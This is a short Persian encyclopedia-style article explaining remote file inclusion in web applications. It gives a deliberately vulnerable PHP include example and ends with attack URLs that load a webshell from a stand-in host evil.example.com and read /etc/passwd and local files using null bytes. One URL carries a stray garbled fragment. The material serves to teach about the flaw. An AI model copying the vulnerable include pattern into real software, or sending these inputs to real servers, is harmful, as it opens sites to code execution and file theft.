گنجاندن فایل از راه دور
گنجاندن فایل یک نوع از آسیب پذیری است که اغلب در وب سایت یافت میشود. این کار اجازه میدهد تا یک مهاجم به یک فایل، از راه دور معمولاً از طریق یک اسکریپت در وب سرور دسترسی پیدا کند. این آسیب پذیری به علت ورود کاربر بدون اعتبار مناسب رخ میدهد. این میتواند به چیزی به عنوان خروجی از فایل منجر شود، اما با توجه به شدت، میتواند منجر به اینها بشود:
- اجرای کد بر روی سرور وب
- اجرای کد در سمت سرویس گیرنده از قبیل JavaScript که میتواند منجر به حملات کراس سایت اسکریپت (XSS) شود.
- انکار خدمات (داس)
زبانهای برنامه نویسی
PHP
در پی اچ پی علت اصلی این است که به دلیل استفاده از متغیرهای خارجی اعتبار دهی نشده مانند $ _GET، $ _POST، $ _COOKIE با تابع فایل سیستم میباشد.
به عنوان مثال
این اسکریپت پی اچ پی (که شامل یک فایل مشخص شده توسط درخواست) را در نظر بگیرید:
<?php
$color = 'blue';
if (isset($_GET['COLOR']))
$color = $_GET['COLOR'];
include($color. '.php');
?>
<form method="get">
<select name="COLOR">
<option value="red">red</option>
<option value="blue">blue</option>
</select>
<input type="submit">
</form>
توسعه دهنده تنها می خواست blue.php و red.php به عنوان گزینههای مورد استفاده قرار گیرد. اما هر کسی به راحتی میتواند با وارد کردن مقادیر دلخواه رنگ را وارد کند، ممکن است برای تزریق کد از فایلهای:
/vulnerable.php?COLOR=http://evil.example.com/webshell.txt?%7B%7Bسخ}}
/vulnerable.php?COLOR=C:\\ftp\\upload\\exploit
/vulnerable.php?COLOR=C:\\notes.txt%00
/vulnerable.php?COLOR=/etc/passwd%00